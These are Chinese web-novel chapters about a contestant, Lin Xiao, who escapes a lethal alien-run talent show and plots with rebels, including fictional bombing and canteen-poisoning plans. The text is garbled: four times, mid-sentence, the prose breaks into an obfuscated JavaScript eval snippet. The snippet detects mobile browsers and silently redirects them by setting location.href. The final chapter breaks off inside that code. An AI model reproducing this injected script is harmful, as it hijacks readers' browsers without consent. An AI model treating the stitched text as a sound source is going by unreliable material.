主持人将话筒递到林筱嘴边：“随便说几句自己的感想吧。” “我还会回来的。” 林筱看着空中不知道是否真实存在的评委，露出狩猎的微笑。 84. 第三个世界22 选拔失败，林筱没有挣扎地顺从工作人员指引，从另一条通道走到了演播大厅外面。 和林筱一样被淘汰的人不多，但也不在少数。但和林筱不同的是，他们大多如丧考妣，哭闹着要求再比一次。 林筱在人群中安静得诡异，更不会有人想到她居然会是那位获得第一名奖励的56号。 直到凑齐五十人，工作人员就带着他们绕到演播大厅右侧角落的偏门。 打开门，一旁的安全通道内出现通往地下的楼梯。来到地下，隔绝通道的是一扇纯金属大门。刷了工作人员的卡，大门向两侧挪开，出现在他们面前的就是一个圆形的大厅，四周标着其他建筑的名字。 所以更准确地说，这是一个他们从未被告知的地下通道。工作人员就是通过这些地下通道快速穿行，随时掌控选手们的行动。 工作人员并没有给他们聊天提问的空隙，催促着他们赶往办公楼方向。 办公楼在演播大厅的北边，穿过一号食堂左转就是。他们先到了六楼，然后坐在休息区内等待工作人员的叫唤。 人是一个一个叫进去的，林筱的顺序还算前面，并没有在外面等太久。一进去，坐在办公椅上的就是另一个陌生的工作人员。但比起其他工作人员，她看上去地位更高，神态也更加悠闲。 不忙于生存的悠闲。 “56号。”她拿着一张纸随意地翻动，“现在被淘汰是有点可惜了，奖励都还没来得及用上。不过再可惜也没用了，你现在只有两个选择：离开，或者留下。离开，到时候有人会安排你们统一离开园区。留下，你就只能成为一个普普通通的工作人员，在经历岗前培训后实习一个月再正式入职。你选择哪一个？” 离开只有简简单单一句话，但留下，这位领导却说了不少它的坏话。所以她的目的，就是为了劝选手们离开。 留下的下场林筱已经知道了，离开却是个新选择，而且还是节目组心仪的选择。 “我想回去。”林筱也没有辜负这位领导的心意，“就算我没希望了，我弟弟妹妹们还有希望。” “行，你去右边的休息室等着，议会就有人带你们出去。”领导将手中的资料随手扔到一边，指了指办公室另一侧的门。 那扇门看着并不起眼，如果不是有人特意指出，一般人很难发觉它的存在。也难怪林筱没有第一时间注意到它。 有了它的存在，之前进去的选手再也没出现过这件事也有了解释。 低垂着头，林筱扮演着一个失意的选手，沉默地离开。 地砖和墙壁都是实心的，通道都在显眼的位置，办公桌下面藏着武器，路上总有七八个看似路过目光却一直盯着他们的工作人员。 他们这些被淘汰的选手，看似自由，实际上却一直被监视着。她可真看不出节目组有放他们离开的意图。 真到她来到右边的休息室，监视的目光才少了些。 但与之相对的，林筱抬起头，故作担忧地环顾四周，不出意外地发现监控毫无死角。 刚才她路过的时候，左侧休息室的门没有关严，依稀能听见交流的声音。她记得其中一个声音，是在她进来之前另一个选手的。所以左侧是选择留下的，右侧是选择离开的。 也因此，房间内才格外安静。 不是没有人注意到林筱进来，只不过没人在意，所有人都沉浸在自己的忧伤之中。 林筱知情，所以她知道这个节目组不怀好意。但对于这些什么都不了解的世界原住民来说，这次的失败就代表他们进入上城区的路被砍断，他们只能庸碌地在中下城区过完贫乏的一生。 这个对比在他们享受过美好生活后显得更加强烈。 “我们还有希望吧。”终于有人打破沉寂，“一般选秀不都是有什么复活赛的吗？只要我们之前留给评委和观众的印象足够好，我们也还是有希望重新回到舞台的吧？” 原来还有人打着这个主意。 也是，成为工作人员，在一般人眼中就不可能重新成为选手。但如果暂时被淘汰，那就还有希望回去，不管怎么说这个概率也会比当工作人员大。 “这是普通选秀吗？”他的白日做梦很快就被另一个戳破，“就算有复活赛，那也轮不到你，我们这还有一个拿到奖励的人。” 被无视的56号重新回到众人眼前。 “被淘汰了，我们就还是站在同一起跑线上。”林筱不慌不忙，“趣味赛的奖励是在所有候选人员中竞争通过名额时使用，我的已经浪费了。” 没有人说，也没有人说不信，但起码现在室内的氛围缓和了一些。 但再也没人开口了。 选手陆陆续续还在进来，但看得出，选择离开的还是多数。等右侧房间内的人数达到四十时，工作人员也终于进来了。 “都跟紧我，”工作人员板着一张脸，“我会带你们离开。在离开前，你们必须签一份保密协议，不允许对外透露关于园区的一点一滴。园区外会有专车送你们回去，你们只需要跟着我，按照我的要求做，其他的事都不需要管。” “好。”在场的人纷纷应道。 其中并不包括林筱。 林筱只是不出声，但人还是跟着他走的。 他们走的依旧是地下通道，而地下通道也比林筱之前估计的复杂。 可能是快速通道和防盗通道的区别，他们这次走的路弯弯折折，有很多不必要的拐弯与岔路，但如果不是林筱的方向感还行，也会在这复杂的道路中迷失方向。在几乎靠近又远离了所有建筑之后，他们停留在天体建筑附近的地下。 这里的科技水平看上去就比之前的要高级，感应式的大门在发现他们的第一时间开启，湿度和温度也在同一时刻调整为人体最舒适的数值。 这些即将离开的选手们不由地露出惊羡的目光。 “为什么离开要走那么多路？”羡慕归羡慕，眼看目的地达到，终于有人忍不住发问。 之前不问，是怕触怒工作人员被丢在半路上。现在问，是因为他们都知道门在哪，而地下那些复杂的道路显然和地图上标识的不同。 工作人员冷淡地看着出声的人：“你如果怀疑我带错路，也可以自己走。” 地点虽然到了，但这里的建筑都不是随随便便能打开的，想要出门，他们还是需要工作人员的帮助。 就连之前发问的人也沉默地低下头。 果然就像这个工作人员之前说的一样，只需要跟着他走，其他的事情他们都不需要管，也管不了。 这一层也像个迷宫。 大多数人都放弃了思考，就连林筱也彻底迷失了方向，只能紧跟着工作人员的脚步来到另一扇金属大门前。 门没有完全关紧，一阵阵暖风顺着缝隙吹向屋内，伴随着可以灼烧咽喉的恶臭。 但其他选手却露出熟悉却厌恶的表情。 原来中下城区居住的环境是这样，也难怪他们会留恋节目组布置的这个园区。 “门外就有节目组的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206156|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车，”工作人员终于停下脚步，站在一张半新不旧的木桌前，“离开前，你们都必须签署保密协议。一旦违反协议，节目组必定追究责任。” 有这一套流程在，难怪外面对节目组里的事情一知半解也没有人起疑心。 真到要离开的时候，本来已经下定决心的人也开始迟疑。 不提别的环境，光是空气这悬殊的差距就已经让他们对自己未来的生活充满绝望，要不是可能能够再次回到舞台这个想法钓着，他们就算死也想死在节目组。 复活赛虽然没有官方说明，但他们刚才在办公室里看见了类似的文件标题。就是这些标题给了他们信心。 “节目组不需要死人。”工作人员面无表情地开口。 有人把自己心里的想法说了出来。 “那我现在想留下来当工作人员可以吗？”工作人员虽然看着冷酷，但也只是看着，并没有欺负他们，所以有的人胆子也大了起来。 “不可能。”工作人员铁面无私地拒绝。 但也没有人失望，毕竟他们了解的工作人员就是那么一个性格。 林筱躲在了天花板一侧。 多亏了这边复杂的地形，这些凌乱的柱子给了她足够借力的位置，让她能够悄无声息地隐藏在众人上方。 她在这群人中不算活跃，在离开这个更重要的目标前，没有人注意到她的离开，包括工作人员。 但林筱注意到这些选择离开的人，他们都是被淘汰人选中表现更为优异的一批。也就是说，节目组故意筛选出能力弱地留下来当工作人员。 所以强的，会在最后被留下当主持人、经纪人这些身份更高的工作人员，甚至可能是她刚才见过的那些领导们。而弱的，就成为这个园区最底层，也人数最多的后勤打杂人员，也更方便园区掌控。 “但前五个离开的人能获得节目组的纪念奖励。”工作人员又说道。 纪念奖励？ 就算不是复活赛的名额，有了这个奖励，他们也可以在中下城区横着走。 一时间下面的人你争我抢地排起队，保密协议被弄得一团乱，工作人员却没有阻拦的意思。 不过这对于林筱来说是好事，越乱，才越方便她浑水摸鱼。 但这里也就这几十个人，再乱也都签完了字。 “一批一批进。”工作人员将大门拉开一条缝隙，恰好只够一个人通行，“里面有人接应你们，只管向前就行。” 大门的另一端是黑色的，只有那难闻的味道不断向着通道的另一端涌入。 站在第一的人深吸一口气，神色紧张地走了进去。 等到他的身影再也看不见，工作人员面无表情道：“下一个。” 不行，这样下去她肯定会暴露。 林筱的直觉告诉她，千万不能进入那扇大门。 可是这里的空间就只有那么大，排队的人也就只有那么多，再怎么慢，也到了结束的时候。 “少了一个人？”工作人员抱着保密协议喃喃自语。 他从身后拿出一个仪器而，绿色的光线从顶部的孔内发射，不断地在屋内反射。 没有被绿光点到的空间越来越小，林筱很快就会被发现。 她不是被动等待的人。 既然逃不脱，那就先把下面的工作人员解决了，剩下的事之后再说。 就在林筱准备行动的时候，身后的一块墙板突然动了一下。一双手从里面伸出，将林筱拽入了后面的空间之内。 85. 第三个世界23 “别出声。” 察觉到林筱想要挣扎的动静，身后的人捂住她的嘴，谨慎地向后退去。 这只手纤细却并不柔嫩，粗糙的茧痕一层又一层重叠而上，让整只手指显得臃肿。 和手掌部分形成鲜明对比。 肯定不会是养尊处优的上城区居民。 躲躲藏藏，穿梭在园区隐蔽的管道内，想来就是他们和59号建立了联系。 林筱的目的，也是他们。 歪打正着。 林筱蹭了蹭她的手，示意她放松，然后在对方惊讶的目光中向后爬行。 虽然这里的建筑都很干净，但用过和没用过还是有明显的区别在的，尤其是人类分泌的油脂汗液在这些金属上盘出更为亮眼的光芒。 虽然也不太明显。 林筱打开不牢固的排气扇，轻飘飘地落在了地面上。 看得出来，这些人之前都是老实本分的，虽然有努力清理自己干坏事的痕迹，但还是在很多地方露出了马脚。但幸好的是，他们的敌人也不太聪明。 林筱转过身。 一个穿着白色外衣的女子笨手笨脚又熟练地往下跳，落在地面上却又格外安静。 “这里很安全。”发现林筱一直在看着她，她窘迫不安地缠着手指，“那些工作人员不会找到这边的。” 林筱观察着房间内的环境。 墙面是低调的银灰色，磨砂的质感让光线更加散漫朦胧，只可惜屋内却堆放着零碎的杂物，上面甚至都落满了灰尘。 一个已经被忘记的杂物间，的确算得上暂时安全的避难所。 “不问问我是谁？”林筱反客为主。 “在这里的人，不都是选手。”她紧张地看着地板，“你放心，我们不会伤害你的。你可以先住在这里，等我们找到出口再带你们出去。” “你们？不止你一个人？” 林筱知道她自己是明知故问，但对面的人不知道，只觉得自己一时疏忽暴露了其他人，顿时紧张地无法言语，只会支支吾吾地站在原地。 “你不用吓唬她。” 房间内出现了第三个声音。 人没有出现，声音却出现了。 林筱看向对面，果然在她身侧发现了熟悉的联络器。 和节目组发给他们的一模一样。 “你们能确保用这东西联络是安全的？” 林筱很怀疑。 “现在它是安全的。” 有意思，聪明的人从不说多余的话。 现在是安全的，这就说明有时候会不安全。 不完全被她们掌控的安全时间，却又没有被节目组发现，再联系这个园区内人员的组织结构，就可以合理推测出：联络器的监听有专门的工作人员负责，而这些工作人员中也有他们的一员。 这个园区总在她意想不到的地方展现出它的低科技水平。 不过也有种可能，用人比使唤机器便宜。 “你们发展得很好。”这不是夸奖，而是陈述。 能在节目组的压迫下发展出属于自己的人，一方面有节目组不做人的因素在，另一方面，这位组织者也必然有属于她自己的人格魅力。 之所以确定她就是组织者，完全从带她来到杂物室的那人表情上得出结论。那种全然放心与信任的神态，如果只是普通领导者，不可能达到这种程度。 “你也很厉害。”这也不是完全的商业吹捧。 一个刚进入节目组的新人，选拔都没完成两次，就已经有勇气和节目组对着干，这就已经超过了几乎所有他们组织内的成员。 “既然我们都了解彼此的目的，那就不说废话。”林筱看着联络器，准确来说是联络器背后的人，“我离开会不会被节目组发现？” 这是现在最关键的问题。 如果她被发现，即使这个组织藏得再严实也会有被节目组掀翻的可能。这个祸根，起码不能是因为她而起。 “不会。”组织者明确林筱的忧虑，也感知到她的善意，“他们不会在意这少的一个两个人。带你们过来的途中损耗几个人也在允许范围内。” 损耗这个词，很有园区的风格啊，看来这个组织者也已经在节目组里混到一个不小的位置。 林筱：“他们的目的是什么？” “将你们作为耗材贡献上去。”组织者没有停顿，“这就是他们最终的目的。” 这句话倒是和她之前的想法吻合。 “所以他们不可能放选手回去。所以那道门后面是什么？” “是焚化炉。”一直保持安静的女子突然小声地开口，“但里面的温度不高，人会很痛苦地在高温中死去。” 联络器安静了一会：“就是小樊说的那样。她就是负责清理焚化炉的。” 难怪她会第一时间发现林筱，也难怪她会那么内敛。在这里工作，除非断绝人性，不然肯定会感觉到无尽地痛苦与绝望。 对选手来说，选拔是向希望迈进一步，但对于她来说，选拔就是再一次目送他们奔向死亡。 她目光亮亮地看向林筱：“你是我救下的第一个人！” 林筱：“是我应该感谢你。” 她抿着唇，腼腆地低下头。 “那你们的目的是什么？”林筱问出第二关键的问题。 如果他们的目光只是浅薄地想要自救，那林筱不介意分享自己得到的信息，却不会加入他们。但如果他们的目标是为了推翻节目组，甚至改变这个世界的格局，林筱很乐意贡献一份自己的力量。 “先解决节目组，告诉所有人节目组的真实面孔。”联络器内的人沉默了一下，选择性地告知了林筱。 林筱其实很能理解她的忧虑。如果她是这个世界的本土居民，一时之间她也无法理解这个组织想要倾覆这个存在不知道多少年的阶级制度的想法，甚至会觉得这些人在节目组的压迫下疯了。 相对而言，解决节目组这个目的会更容易让新人接受，之后再根据新人的表现判断她或他是否值得新人，能否告知下一步计划。 “但节目组背后，不是外星人吗？” 沉默。 除了沉默，还有一道深吸气的声音。 良久，联络器内的人才开口：“你知道的真的很多。” 猜对了。 所以现在，这个世界的格局已经很清晰了。 存在节目组里的人可以分为三派，基本也等同于外面的世界。 第一阶级的，节目组，相当于上城区居民。 他们知道或隐约知道外星人的存在，毕竟那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229520|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跨越式进步的科技骗不了人。但他们选择了同流合污，毕竟利益损伤不到他们，甚至帮他们巩固了地位。 第二阶级的，工作人员，相当于中城区居民。 他们同样受到节目组的剥削，只不过这个剥削中会带着微薄的奖励，所以他们会心甘情绪成为他们的工具。他们既被剥削着，同时也看不起并欺负那些毫不知情的选手，将他们作为乐子观赏。 第三阶级的，选手，相当于下城区居民。 选手们比起下城区居民，唯一的不同就只有相对优渥的生活环境。他们就像被圈养的小白鼠，不断地被不同人逗乐玩弄，随时可能死亡，也随时会被丢弃。 但同时，他们也是唯一的变数。 选手拥有出道位，就像象棋中兵可以吃了帅。一旦实现了阶级跨越，哪怕再多的限制，也可能带来巨大的变化。 而在这三派之外，还有两个特殊的存在。 一个是节目组背后的外星人。 它们来到这个星球的目的不明，但根据林筱的推测，和情绪有很大关联。 不管是乱七八糟的节目主题，还是他们“赴死”前花哨的排序和保密通知，它们唯一的共同点就是要选手们发生剧烈的情绪变化。 鉴于它们的种族属性不明确，只能根据超前的科技推测，情绪要么是它们种族维生的要素，要么就是它们科技的能源。 它们也不是完全隐藏在幕后，就比如商场老板就很乐意出场表演。 还有一个存在就是玩家。 虽然不明确发现玩家的到底是这个星球的人还是外星人，但玩家的存在的确就是被默认的。 玩家可以成为上面三个派系中的任意一员，但玩家永远不会忠诚，所以他们可能听话，也可能背叛，就是个搅屎棍。 所以节目组面对玩家选择的是彻底清除，工作人员只会跟随节目组的选择，只有选手可能会与玩家达成合作。 而这个组织应该就是从选手中脱胎而出，在各个阶级吸纳志趣相投的人凝结而成，最终还是要回归到选手本身。 因为选手才是这个节目的根基。 即使节目组掌握了选秀的杀生大权，可外星人想要的是选手们的情绪，这就是为了制造情绪而诞生的节目。没有了选手，节目组也不会存在。 所以这个组织现在不断吸纳新一批选秀选手的原因也很明确了：他们要重新回到选手中去。 “你有认识并且可以信任的其他选手吗？” 果不其然，她们问出了这一句话。 这档选秀节目发展到今日，它的机制已经非常成熟。这个成熟不是选拔比赛制度的成熟，而是让选手们勾心斗角的成熟。 所以正常选手是很难在节目中获得可以信任的伙伴，除非是源自同一血脉。有的时候，就算同出一胞也未必可以信任。 但林筱有这个条件。 “选手中我不确定是不是有信任的人，但引导选手得到我们想要的结果还是有希望的。” 这句话已经把组织者预期的要很多。 “这就够了，我们可以尝试起来。” 按照系统给玩家的时间来看，这个世界的机会可不多了。他们需要的，就是像现在这样激进起来。 “那就提前预祝我们合作愉快了。” 86. 第三个世界24 “你还能当经纪人？” 虽然是漫画风格的背景墙，但透过浮夸的画风依旧能看出熟悉的宿舍装潢风格。甚至连物品摆放的位置肉眼都看不出区别。 听到林筱的调侃，姜时宴只是微笑：“同伙不努力，我只能另觅高枝了。” 姜时宴也没想到，林筱那么早就会被淘汰。 这完全不在他的预期范围之内，也打乱了他之前的计划。 当然，比他更凌乱的，还有绿发的叛世者。 她制定的计划、设下的陷阱全部都是基于林筱会进入第三次选拔的前提下。为了能顺利拿下林筱，她甚至还向系统兑换了很多限定功能的道具。可就因为林筱的淘汰，这些道具都失去了作用。 姜时宴依旧记得她绿到发慌的脸色和发色相互映衬，格外环保。 “选拔还没结束，”姜时宴示意林筱长话短说，“我还得看看有没有别的潜力股。” 林筱若有所思地看着姜时宴，就连背景都被道具恰当好处地冒出一个发光灯泡：“有人找你了？是玩家？” 有这么一个敏锐的同伴，是他的荣幸，也是他的不幸。 既然被察觉到了，姜时宴也不再隐瞒：“对，遇到了想要追杀你的人。” “就这？”林筱不以为意地挑眉。 说实话，她到目前为止，还没遇到过不被追杀的情形。 就好像被追杀本就是她的宿命一般。 姜时宴仔细一想，觉得林筱说得很有道理。他当初捡到人，不就是因为她被追杀。甚至上个世界的追杀中还有一份他的功劳。 只不过这次稍微有点特殊：“她是叛世者。” 叛世者？ 这个词熟悉又陌生，林筱反应了一会才记起来，疑惑：“他们出现了？” 对于叛世者，她没有姜时宴以为的那么在意。 对于一心想要脱离系统的人而言，玩家内部的党争对她没有意义。只要他们不来打扰她，双方就能和平相处。 她以为她之前的表现已经让他们明白她的想法，只可惜这只是她以为而已。 林筱敲击着地面，清脆的声音打断她的思路，重回问题本身：“他发现你是玩家？” 姜时宴惯来爱隐藏锋芒，不是那种激进的本地居民。除非是露出破绽被人发现外来者的身份，不然这个合作轮不到姜时宴身上。 “所以我们决定合作解决你。”姜时宴温和地开口，但话却一点也不温和。 很遗憾，姜时宴依旧没能见到林筱变脸。 她甚至笑了一下。 “那行，你们抓紧时间改计划，不然我都要离开了。” 林筱根本没把这句话放心里。不是因为她信任姜时宴，而是她对自己有信心。没了姜时宴，完成她的计划也只是麻烦了一些而已。更何况，她也不觉得姜时宴会放弃自己这么一个潜力股去选择一个蠢货。 是的，蠢货。 姜时宴不是爱炫耀的性子，既然这件事能被他提出来说，就证明这个叛世者已经完全在他掌控之中。 “抓紧不了。”姜时宴弯了弯唇，“除非她什么时候能反应过来，解决你不应该靠这个节目组。” 排除一个危险因素。 林筱没有忘记她使用道具的最初目的：“你现在的选手怎么样？” 她要给这里的反叛组织献上自己的诚意。 提到这，姜时宴的表情也多了变化：“不错。” 嗯？评价那么高。 虽然林筱也没见到几个选手，也不排除有人藏拙的可能性，但从那个趣味赛中就可以得知，这里的人有点聪明，但不多。 心眼子几乎都使在明面上。 但姜时宴的表情几乎在明示她这个人她知道。 林筱迟疑了一下：“叶曳？” 不是她觉得叶曳不可能通过选拔，而是叶曳不像是会换临时经纪人的人。 “是她。”姜时宴叹了口气，“眼看着你自甘堕落，我只能先下手为强。” 这个就不奇怪了。 叶曳那个临时经纪人听着就不够强势，就算能安稳度过这一次选拔也迟早会被人解决。只不过这次先被姜时宴下手了。 这也算是件好事。 但还有件更重要的事， “你有把握把她捧到最后吗？” 在手段上，姜时宴不输任何人，但论培养一个明星，他可以说是一窍不通。 不管怎么说，他也才是刚进入现代社会没到一个月的古人。即使他融入得很快。 “手段很重要吗？”姜时宴手臂轻展，如同旧时展开衣袖，抚触清风，“活到最后不就行了？” 林筱无言。 不愧是卧底多年最后干翻皇帝的主，思路就是与众不同。 但这也是个方法。 “别翻车就行。”恰好，林筱也不爱走寻常路，“我的积分不多，耐久也不多。” 姜时宴露出一个浅浅的微笑：“死不了。” 结束了与姜时宴的联络，林筱看着再次恢复黑暗的杂物间陷入了沉思。 前面的表演有姜时宴在，总体出不了乱子。叶曳虽然爱演，但实力不差，不然也不会一直保持这个心态。两人搭配，基本不需要林筱操心。 除非他们之间属性不和，这也不是没有可能的事情。 工作人员那边，也得防止他们碍事。但听这个组织的意思，他们会负责。 所以他们已经有人在节目组里混到了高层。 很可能就是他们的组织者。 天花板再次发出了异动，一头长发先于头颅探了出来，仿佛陈旧的、死板的女鬼，延续她那枯燥的惊吓方式。 这个世界就是个巨大的草台班子。 这个节目组尤其是。 林筱甚至怀疑这个组织就是寄生在园区的各个管道内，神出鬼没在各个角落。 “我们老大想见你。”一张美艳的脸干着与她容貌完全不匹配的行为，甩着头露出一道一道的脸。 看得林筱都觉得头晕。 “从这里走？”作为一个已经在园区内失去身份的人，她甚至连工作人员都不算，一旦出现在其他人的视野中那就是业绩，所以唯一的通道也就只有这个天花板了。 [玩家触发隐藏职业——隐形者。 玩家触发隐藏任务：终结罪恶的选秀节目。完成隐藏任务后，游戏将提前结束并给予玩家最高评分。] 系统的提示总是出现得出人意料。 林筱还以为系统的提示会出现得更晚一些，至少会等她在组织里找到一个定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245663|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位后，没想到这么容易就跳了出来。 这也就说明，其实这个职业是什么都不重要，重要的是有没有触发到影响这个世界发展的人或事物。 职业，自有系统为你编造。 林筱爽快地接受了这个职业。 这比她预期的还要好。她完全可以不进入这个组织，维持一个相对独立的身份，享受他们资源的同时自由行动。 “女鬼”小姐还不知道林筱的想法，熟练地在夹层内爬行。甚至因为爬行的次数频繁，这个组织还在地面上铺了隔音棉和毛毯，吸音又舒适。 这就比节目组的工作人员带路舒服多了。 她们几乎没走弯路，“女鬼小姐”很快就撬开一块天花板，熟练地拉过一旁的绳子荡了下去，轻巧地落在地面之上。 林筱观察了下面的环境，在墙柱上借力一蹬，平稳地站在地面上。 看着雪白的墙面出现一个不明显的脚印，林筱并不后悔。便携的梯子就堆在桌角，强行让她装作看不见也不可能。既然没把她放在眼里，她也没必要为他们考虑。 “下午好，各位。”林筱若无其事地打招呼。 “下午好。”留在这里的人不忿地看着被污染的墙面，深呼吸几下，还是选择忍气吞声，“老大说，让我负责和你联络。” 这是看不起她，连一次面都不见？ “如果只有你的话，那我们的合作就算了吧。” 如果可以，她也想就这么算了。可就这么一个第二轮选拔就被淘汰的人，也不知道使了什么手段，硬是让老大一定要留住这个人。 “我去问一下。” 她最终还是选择忍气吞声。 她没有告诉林筱讨论的结果，但没多久门就被敲响了。屋内的人没有警惕地让林筱躲藏，林筱就知道自己要等待的人到了。 一个穿着白大褂的女性走了进来。 很标准的白大褂，上面还有被清洗后依旧残留的污渍，浓浓的消毒水味已经先于人飘了进来。 “很抱歉让您久等了。”她伸出手，“一直想与您见面，但一直找不到时间。” 大家都知道这是句废话，但态度到位，一切都好说。 “您还是很有效率的。”林筱也伸出手，“不过我看您有点眼熟？” 这种看似套近乎的话她早已熟练回应，只不过眼神稍微浮现一点讶异：“我是上一届的出道选手。” 最后一关卡上了。 没想到消失的出道选手不仅没有生活在上城区，反而出现在节目组的园区内，成为了工作人员之一。可能他们的优待，就是成为更高地位的工作人员？ 但林筱觉得眼熟也是真的。 出道选手、眼熟，这些因素结合在一起，在林筱的认知圈里，只有一个人能全部达成：高低组合消失的姐姐。 她也是以一种出乎意料的方式完成了她们的遗愿。 既然她会成为这里的老大，她应该也会知道高低组合为了她参加选秀。就算其他人不清楚，她应该也能了解到她们是因为谁而死的。 可她依旧以这种平和的态度面对她。 不愧是能成为组织者的人，这份为了事业的大爱一般人可做不到。 但她还有最后一个疑问：“这里就是上城区吗？” 87. 第三个世界25 这无疑是个很大胆的猜测。 能猜到园区是一个密闭摄影棚不难，不止林筱一个人能做到。但所有猜到的人都会觉得，这是节目组为了节目的观赏性和他们自己的舒适性，特意打造出这个与上城区相似的环境。 也不是说这个猜测没有道理。 节目组的人来自上城区，节目的观众也都是上城区的居民，他们不一定乐意看见臭烘烘的下等人。所以为了上城区的上等人们特意打造一个园区也是很有可能的事情。 从园区内透露的一些细节来看，他们很有可能借用了外星人的科技，这才打造出这个浑然一体的生态瓶。 但前提是，空气不流通。 林筱没有在中下城区生活过，但也能猜出那里的环境。甚至都不需要她猜，之前其他选手的表现就已经告诉了她那里的空气是什么味道的。 是泔水腐熟和灼烧蛋白质混合后的气味。 这股气味具有强烈的污染性，一旦园区内的空气与外界流通就不可避免会受影响。 想要不受影响，唯一的办法就是彻底隔绝。 但林筱闻到过外界的味道。 节目组虽然花费巨资打造了这个园区，却只图个形，很多本该用机器控制的地方依旧使用最为廉价的人力。这也意味着整个园区其实都是华丽的空壳，根本没有他们想象的那么严密。 而这些遍布在园区内的管道就证实了这一点。 虽然节目组想骗他们送死，但却没有带错路，那里的确是最靠近出口的位置。所以在林筱被带进夹层的时候，她透过板与板之间的缝隙问到了外面的气味。 清新的、带着淡淡花香的味道，甚至比她的世界的空气质量还要好。 这样的空气，不可能存在中下城区。 当想到这一点的时候，林筱也就明白过来节目组为什么完全不怕毁约。 因为他们履行了，甚至超额履行了约定，让选手们全都留在了上城区。 永远。 而这个组织比她还要经常往来在园区的夹缝中，不可能没有发现这一点。 组织者苦笑了一声：“你比我想象的还要敏锐。” 她还嘀咕了一句，但这一句，林筱就没有听到了。 所以他们要做的，就是提前结束这一次选秀，反攻进上城区，甚至将那些外星人赶出这个星球。 即使他们这些玩家不来，林筱觉得这些反叛者们自己也能做得很好。但系统给予他们的时间又很短。 所以， “你们的备用计划是什么？” 她并不意外地笑了一下：“我在园区的各个角落安装了炸弹。这是我们从节目组里一点一点挤出来的炸药，虽然威力不强，但积少成多，也能摧毁这个罪恶的窝点。 “因为我的时间不多了，所以这是我们最后一次尝试。不成功，便成仁。” 她看见了林筱的惊讶：“你不会觉得节目组会一直留着我吧？这已经是我能留下的极限了，他们是不会允许下等人活着知道那么多消息的。我们所有人，都只是他们好用的工具而已。” 林筱看着其他成员，满眼泪水，没有害怕，只有对首领的怜惜。 他们虽然忠诚，但确实不中用，一旦这位组织者离开，这个反叛军在节目组里活不了多久。甚至他们现在能活得那么好，其中也不乏玩家帮他们吸引了注意的原因。 首领是个好首领，但这件事不是仅仅只需要一个好首领就能办成的。 “这里都是你信任的人吧？”林筱看着周围的人故意开口。 不管是领路的“女鬼”小姐还是房间的原主人都怒目而视，坚决不受对方的挑拨离间。 “当然，她们都是我值得信任的人。”组织者也完全没有受到影响。 林筱没有评判对方的信任是否值得，只是从一旁的柜子上抽出一张纸，写下一行字，说道： “我们可以再细化一下计划。” 既然决定提前结束选秀，那就要考虑可能发生阻碍的环节。 林筱画出园区的大致地图，不包括地下和建筑内部的各种夹层管道。 也就是不包括节目组和反派组织的隐藏领地。 首先是食堂，也就是数量最多的建筑。 “2号食堂是工作人员最常去的。”组织者说，“但它的下面也是这栋建筑的一部分，防卫系数比其他食堂要高。” “那你们在食堂有人吗？”林筱想知道的只有一点。 “有。” “那就足够了。” 民以食为天，只要还是人就都需要吃饭。只要打击的范围足够大，就会有人中招。 虽然手段下作了些，但好用。 组织者动了动嘴，最后还是允许了林筱那么做。 还是太优柔寡断了。 很难想象，这样的人会在这种选秀节目走到最后。 林筱能感觉到她的犹豫不是担心计划太过草率，而是担忧其他人的安危。 这大概也是他们能组织起联盟却没有多大成效的原因之一。 林筱略过了她的犹豫：“这边是演播大厅，能中断这里和评委那边的联系吗？” “我们做不到。” 不是不行，而是做不到，那就是技术层面的问题。 林筱倒觉得可以尝试：“你们只需要帮我把人送进去就行。” 组织者爽快地答应了。 办公楼和训练室，平时人也不多，只需要把电断了就行。 宿舍，就看叶曳和姜时宴他们怎么折腾了，也不需要他们操心。 只剩下两个建筑：商座和天体形建筑。 “商座我们进不去。”组织者也坦诚自己的不足，“但那里也很少直接影响整个节目。” 商座总共有三层，但林筱去过的只有一层。 第一层都是贩卖道具的地方，时不时会有商座主人出没。第二层，根据商座的指示牌，那里是礼品区，送出去可以提高评委和工作人员对自己的好感。第三层，就完全是商座主人的办公室了。 所以就算要去，也要去的是第三层。那里是最有可能发现与外星人相关消息的地方。 林筱将这件事先按下不提，等合适的时间再去试探。 至于天体形建筑。 “我们现在就在这里面。”组织者说，“这里主要就是处置室和实验室。所有不具备回收价值的选手会被送进焚化炉，有价值的选手会被送进实验室，经过记忆清洗和一定的改造后分配到各个岗位。” 改造？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 